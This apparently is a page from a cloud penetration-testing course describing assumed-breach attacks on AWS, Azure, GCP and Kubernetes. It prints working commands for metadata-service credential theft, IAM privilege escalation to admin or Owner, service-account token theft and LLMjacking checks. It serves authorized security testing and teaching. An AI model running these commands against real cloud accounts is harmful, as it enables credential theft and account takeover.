Skip to content

V.2V · The infrastructureattack

Cloud security & red-teaming - AWS, Azure, GCP

Every AI system runs on AWS, Azure, or GCP, so a cloud weakness is an AI weakness - and a cloud pentest asks not “what can a user of the app do” but “what can an attacker who has compromised one credential, instance, or service reach from there?”

V.1 · Where AI runs taught you what the cloud is; this is how you test it. That assumed-breach question is a different scope from a web-app test, and it’s where the findings that matter live: IAM (identity and access management) privilege escalation, metadata credential theft, exposed storage, and lateral movement across services.

flowchart TB
  FOOT["Foothold<br/>leaked key · SSRF<br/>exposed service"] --> ENUM["Enumerate<br/>identity · resources<br/>permissions"]
  ENUM --> PRIV["Privilege escalation<br/>permission combos<br/>trust abuse"]
  PRIV --> LAT["Lateral movement<br/>cross-service<br/>cross-account"]
  LAT --> EXFIL["Impact<br/>data exfil · persistence"]
  classDef o fill:#241310,stroke:#ff5b4d,color:#ffc4bb;
  class FOOT,ENUM,PRIV,LAT,EXFIL o;

The same shape on all three providers; only the service names and the privilege-escalation tricks differ. An AI surface (a common foothold - VI.4 · AI red-team playbook Ch9) drops you into exactly this chain.

The provider trinity - same concepts, different names

ConceptAWSAzureGCP
IdentityIAM (users, roles, policies)Entra ID (formerly Azure AD) + RBACCloud IAM (members, roles, service accounts)
Object storageS3 bucketsBlob Storage (containers)Cloud Storage buckets
ComputeEC2 · LambdaVMs · FunctionsCompute Engine · Cloud Functions
SecretsSecrets Manager · SSM · KMSKey VaultSecret Manager · Cloud KMS
Metadata serviceIMDS (169.254.169.254)IMDS (169.254.169.254)Metadata server (metadata.google.internal)
Audit logCloudTrailActivity Log / Entra logsCloud Audit Logs
Org boundaryAccounts / OrganizationsSubscriptions / TenantsProjects / Org

Learn the concepts once and you can test any of the three; the names are just translation. Note the metadata service - a high-value cloud-pentest target, below.

The methodology - recon to impact

A cloud red-team walks the same five phases as the diagram - here is what you actually do at each.

1 Foothold - how you get in

The starting credential or access. Common origins on a real engagement: a leaked access key (in a git repo, a CI log, a public bucket), an SSRF in the application (a common AI foothold - VI.4 · AI red-team playbook Ch9) that reaches the metadata service, an exposed service with no auth, or a credential the client provides for an “assumed-breach” test (the most common and realistic scope).

The metadata-service move If you have SSRF or code-exec on an instance, request the cloud metadata endpoint - on AWS/Azure 169.254.169.254, on GCP metadata.google.internal - to retrieve the instance’s temporary IAM credentials. That hands you the instance’s role and drops you straight into enumeration. The defense is IMDSv2 (session-token-bound) on AWS and blocking metadata egress.

2 Enumerate - map what the credential can see

With any credential, even low-privilege, systematically map the environment: which identity am I, what can I do, what resources exist. This is the cloud equivalent of internal network enumeration.

Foothold-to-escalation, real invocations (authorized testing only)
# --- Metadata credential theft via SSRF / code-exec on an instance ---
# IMDSv1 (no token) - instant creds if not hardened:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# IMDSv2 (session-token bound) - two-step:
TOKEN=$(curl -s -X PUT http://169.254.169.254/latest/api/token \
-H 'X-aws-ec2-metadata-token-ttl-seconds: 60')
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# GCP equivalent (note the required header):
curl -s -H 'Metadata-Flavor: Google' \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# --- Enumerate identity & permissions ---
aws sts get-caller-identity
aws iam get-account-authorization-details > iam.json # full IAM picture (if permitted)
az account show ; az role assignment list # Azure
gcloud auth list ; gcloud projects get-iam-policy <project-id> # GCP
# --- Graph the IAM escalation paths (don't guess) ---
pip install principalmapper
pmapper graph create
pmapper query 'preset privesc *' # who can escalate to admin
pmapper visualize --filetype svg # export the graph
# --- Pacu: run privesc enumeration modules ---
pacu # then, inside the session:
# set_keys ; run iam__enum_permissions ; run iam__privesc_scan

Automate posture review with the standard auditing tools: ScoutSuite (multi-cloud, 400+ rules, HTML report) and Prowler (multi-cloud - AWS/Azure/GCP, CIS-benchmark aligned) flag IAM misconfigs, public storage, weak network rules by severity. For offensive situational awareness, CloudFox surfaces the exploitable attack paths across AWS/Azure/GCP that a compliance scanner won’t. Run these first for breadth, then go manual for the chained findings scanners miss.

Exposed-storage checks Take the candidate bucket/account names from the resource enumeration above and test each for anonymous read - the checklist’s #2 finding is a handful of read-only probes. List and note reachability; do not download.

Exposed-storage enumeration - anonymous read checks (authorized testing only)
# --- AWS S3: anonymous listing on a candidate bucket (request unsigned) ---
aws s3 ls s3://<candidate-bucket> --no-sign-request
# If you hold a credential, confirm WHO can read it - ACL grantees + public flag:
aws s3api get-bucket-acl --bucket <candidate-bucket>
aws s3api get-bucket-policy-status --bucket <candidate-bucket> # IsPublic: true?
# --- Azure Blob: enumerate a storage account's containers/blobs ---
az storage container list --account-name <acct> --auth-mode login
az storage blob list --account-name <acct> -c <container> --auth-mode login
# Truly anonymous (public container) - hit the blob REST list endpoint, no login:
curl "https://<acct>.blob.core.windows.net/<container>?restype=container&comp=list"
# --- GCP Cloud Storage: anonymous recursive listing on gs:// ---
gcloud storage ls -r gs://<candidate-bucket>/** # or: gsutil ls -r gs://<bucket>
# The exposure is an allUsers / allAuthenticatedUsers binding on the bucket IAM:
gcloud storage buckets get-iam-policy gs://<candidate-bucket> --format=json \
| jq '.bindings[] | select(.members[]|test("allUsers|allAuthenticatedUsers"))'

The fix is one setting per provider: S3 Block Public Access (account + bucket), the storage account’s “allow blob anonymous access = disabled” on Azure, and uniform bucket-level access plus public access prevention on GCP - and the exposed corpus is the V.3 · The data layer RAG/vector data more often than not.

3 Privilege escalation - the heart of a cloud test

The defining cloud finding: a low-privilege identity reaching admin through a combination of permissions, a trust relationship, or a policy flaw. You’re looking for permission sets that let you grant yourself more.

Classic AWS escalation patterns An identity with iam:CreatePolicyVersion can rewrite its own policy to admin; lambda:CreateFunction + iam:PassRole lets you run code as a more-privileged role; iam:CreateAccessKey on another user lets you become them. There are dozens of these known paths.

GCP privesc - impersonation is the iam:PassRole of Google Cloud The permission iam.serviceAccounts.actAs (paired with a deploy permission) lets you run a job as a more-privileged service account - the direct analog of AWS iam:PassRole. The cleaner escalation is direct impersonation: iam.serviceAccounts.getAccessToken lets you mint a short-lived token for any SA you can act on, and those tokens can be chained (A impersonates B impersonates C) up to an admin identity. Impersonation leaves no key artifact, so it evades static-credential hunting - it only shows in the GenerateAccessToken Data Access audit event, which is off by default.

GCP impersonation privesc (authorized testing only)
# Enumerate which SAs your identity can act on / impersonate:
gcloud iam service-accounts list
gcloud iam service-accounts get-iam-policy <sa-email> \
--format=json | jq '.bindings[]' # look for getAccessToken / actAs on you
# Mint a token for a more-privileged SA and use it directly:
gcloud auth print-access-token \
--impersonate-service-account=<privileged-sa-email>
# Then run any gcloud call with --impersonate-service-account=<sa> to act as it.

Azure privesc - Managed Identity + role-assignment abuse The IMDS at 169.254.169.254 hands any process on a VM an OAuth bearer token for its assigned Managed Identity - no session-token step, unlike AWS IMDSv2. If that identity (or any principal you reach) holds Microsoft.Authorization/roleAssignments/write, you can grant yourself Owner at the same scope - the canonical Azure escalation. Other one-shot paths: a Key Vault access policy that leaks privileged secrets, or Microsoft.Compute/virtualMachines/runCommand to execute as a VM’s identity.

Azure Managed-Identity token grab + role-assignment escalation (authorized testing only)
# Grab an ARM token from IMDS (single unauthenticated request):
curl -s -H Metadata:true \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# With that token (or az login), test the escalation precondition, then grant Owner:
az role assignment create --assignee <your-object-id> \
--role Owner --scope /subscriptions/<sub-id>
# Prove reachability, then STOP and note remediation (least-privilege, no self-grant).

Map it, don’t guess Use pmapper (Principal Mapper) to build a graph of users/roles and have it compute the escalation paths automatically; Pacu (AWS exploitation framework) enumerates permissions and tests the paths. On Azure, MicroBurst enumerates Entra ID and resources. The skill is reading the graph: “this service account can launch compute and pass a role → it can run as that role → that role is admin.”

One concrete AWS privesc chain - iam:CreatePolicyVersion (authorized testing only)
# Precondition (from pmapper/enum): current identity can set a new default
# version on a policy attached to itself.
ARN=arn:aws:iam::<acct-id>:policy/<attached-policy>
# Craft an admin policy document:
cat > admin.json <<'EOF'
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}
EOF
# Create a new version AND make it the default in one call:
aws iam create-policy-version --policy-arn "$ARN" \
--policy-document file://admin.json --set-as-default
# Prove the new permission resolves (read-only check - do NOT act on it):
aws iam simulate-principal-policy \
--policy-source-arn <your-identity-arn> \
--action-names 'iam:CreateUser' 's3:*' | jq '.EvaluationResults[].EvalDecision'
# Document the reachable admin, then STOP and note remediation (least-privilege).

4 Lateral movement - pivot across the estate

From one identity/service, reach others. Cross-account/subscription trust relationships (a role that can be assumed from another account), over-shared service accounts, network paths into private subnets, and inter-service trust (a compute instance trusted by a database). Government estates with many subscriptions/projects make trust misconfiguration a rich surface.

AI relevance This is where an AI foothold becomes a breach: an injected agent (VI.4 · AI red-team playbook Ch3) holding a broad role, or an SSRF’d instance, lets you pivot from the AI workload into the wider cloud - the The 2026 incident board incident pattern (Azure SRE Agent, the RDS-gateway pivot in VI.4 · AI red-team playbook Ch11).

5 Impact & persistence - prove it, safely

Demonstrate the consequence without causing harm: reach (don’t exfiltrate) the “crown-jewel” data, show you could create a backdoor identity or tamper with the audit log (CloudTrail/Activity Log), then stop and document. On an authorized test you prove reachability; you don’t detonate.

Logging is a target and your safety net Note whether you could disable or evade CloudTrail/Cloud Audit Logs (a real attacker would) - and rely on those same logs to scope what your test touched.

Kubernetes - the AI-workload attack surface

Most AI training and serving runs on managed Kubernetes (EKS / GKE / AKS), so a pod compromise (RCE or SSRF in a model server, notebook, or agent container) is a common foothold. Two moves matter.

The pod-to-node IMDS hop From inside a pod you can often reach the node’s metadata service and steal the worker node’s instance credentials - which are far broader than the pod’s own. On EKS the request travels pod veth -> node bridge -> IMDS, which is 2 network hops, so the control is setting the node’s IMDSv2 http-put-response-hop-limit to 1 (plus IMDSv2-only), which times out the pod’s request. GKE blocks this with a concealment/metadata proxy; AKS relies on the same host-firewall pattern. Test it exactly like the metadata move above, from a pod shell.

Service-account token abuse and the modern credential binding Every pod is issued a Kubernetes service-account token (mounted at /var/run/secrets/kubernetes.io/serviceaccount/token); a compromised pod hands it to the attacker, who can then query the K8s API for whatever RBAC that SA holds. The cloud-credential binding is the higher-value target:

BindingHow the pod gets cloud credsAbuse if you own the pod
IRSA (EKS, IAM Roles for Service Accounts)pod SA token exchanged via OIDC for an IAM roleassume the bound IAM role; if over-scoped, pivot into AWS
EKS Pod Identityagent on the node vends role creds per-podsame - inherit the pod’s IAM role
GKE Workload IdentityGKE metadata server exchanges the K8s SA token (via STS) for a GCP tokenact as the bound GCP service account (see impersonation, above)
Azure Workload Identityprojected SA token federated to an Entra appgrab a Managed-Identity-equivalent ARM token

The finding is almost always over-broad binding: a pod’s SA mapped to a cloud role with far more than that workload needs, turning one container RCE into a cloud foothold. Grep the RBAC and the role trust policy, not just the pod. Cross-ref agent identity/NHI controls in IV.6 · Agent identity & access (NHI).

From a compromised pod - enumerate the SA and its cloud binding (authorized testing only)
# The mounted K8s service-account token (JWT) and namespace:
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
# What can this SA do in-cluster (RBAC)?
kubectl auth can-i --list
# EKS/IRSA: the injected role ARN is an env var -> assume it:
env | grep -i AWS_ROLE_ARN
aws sts get-caller-identity # resolves to the bound IAM role, not the node

Managed AI services as targets - Bedrock, Azure OpenAI, Vertex AI, SageMaker

Once you hold a cloud credential, the managed-AI service itself is a target - both for LLMjacking (running inference at someone else’s expense, the CSA-tracked black-market economy) and for model/data exfil. The attacker script in the original Sysdig LLMjacking research validated stolen creds against ten AI platforms including Bedrock, Azure, and Vertex AI. The pattern is identical across providers: enumerate what’s reachable, confirm the creds work quietly, then invoke or exfiltrate.

ProviderEnumerateConfirm / exfil path
Amazon Bedrockbedrock:ListFoundationModels, GetFoundationModelAvailability, ListCustomModels, ListKnowledgeBasesInvokeModel (LLMjacking); pull fine-tuned custom models and knowledge-base (RAG) documents
Azure OpenAIlist deployments on the resource (az cognitiveservices account deployment list)call the deployment’s /chat/completions with the resource key
Vertex AI (GCP)gcloud ai models list, gcloud ai endpoints list:predict on a deployed endpoint; read training data / tuned models in the bucket
Amazon SageMakerListEndpoints, ListNotebookInstances, ListModelsInvokeEndpoint; notebook instances often hold broad roles + the metadata hop

Quiet confirmation The known LLMjacking tell is calling InvokeModel with an invalid parameter (e.g. max_tokens_to_sample = -1) so the resulting ValidationException proves access without generating billable output or obvious inference logs. On an authorized test, note the reachable models and the exfil path, then stop - do not run inference at scale or pull the corpus.

Managed-AI enumeration across providers (authorized testing only)
aws bedrock list-foundation-models --query 'modelSummaries[].modelId'
aws bedrock list-custom-models ; aws bedrock-agent list-knowledge-bases
az cognitiveservices account deployment list -n <aoai-resource> -g <rg>
gcloud ai endpoints list --region=<region> # Vertex AI deployed endpoints
aws sagemaker list-endpoints --query 'Endpoints[].EndpointName'

Model-serving reachability and the RAG/vector corpus itself are covered in I.5 · The model artifact & its supply chain and V.3 · The data layer; this is the managed-service control-plane angle.

The findings that recur (your checklist)

  • Over-permissive IAM - *:* policies, admin where read-only suffices, escalation chains. The most common and highest-impact finding.
  • Public / exposed storage - world-readable S3 buckets / blobs / GCS, often holding data, backups, or the RAG corpus and vectors (V.3 · The data layer).
  • Metadata service exposure - reachable via SSRF, no IMDSv2 - instant credential theft.
  • Credential hygiene - long-lived access keys, no MFA on privileged accounts, unused/orphaned service accounts (the NHI - non-human identity - sprawl of IV.6 · Agent identity & access (NHI)).
  • Network exposure - security groups open to 0.0.0.0/0 on admin ports, databases/queues reachable without auth, sensitive workloads in public subnets.
  • Cross-account/subscription trust - role assumptions enabling lateral movement.
  • Over-broad Kubernetes cloud binding - a pod SA (IRSA / GKE or Azure Workload Identity) mapped to a cloud role with far more than the workload needs; node IMDS reachable from pods (hop-limit not 1).
  • Managed-AI exposure - LLMjackable Bedrock/Azure OpenAI/Vertex/SageMaker access, reachable custom models and knowledge bases.
  • Exposed AI infra - unauthenticated model-serving endpoints, vector DBs, MLOps consoles (I.5 · The model artifact & its supply chain, V.3 · The data layer).

Rules of engagement - non-negotiable

The toolchain

Audit/recon: ScoutSuite (multi-cloud), Prowler (AWS/Azure/GCP, CIS), CloudMapper (network diagrams). Offensive situational awareness: CloudFox (exploitable attack paths across AWS/Azure/GCP). IAM analysis: pmapper (escalation graphs), Cloudsplaining (IAM policy risk). Exploitation: Pacu (AWS), MicroBurst / ROADtools (Azure/Entra), and Stratus Red Team for reproducing named GCP/AWS/Azure privesc techniques (e.g. SA impersonation) in a lab. Kubernetes: kubectl + kubectl auth can-i --list for RBAC, kube-hunter / Peirates for in-cluster escalation and the pod-to-node hop. Native CLIs (aws/az/gcloud) for manual enumeration. Pattern: scanners for breadth → graph the IAM → manual chaining for the findings that matter → re-scan after remediation to prove the fix. Map every finding to CIS benchmarks + AIVSS severity (VIII.4 · ISO/IEC 42001, verification & maturity) and report in the two-audience format (VI.5 · Running the engagement).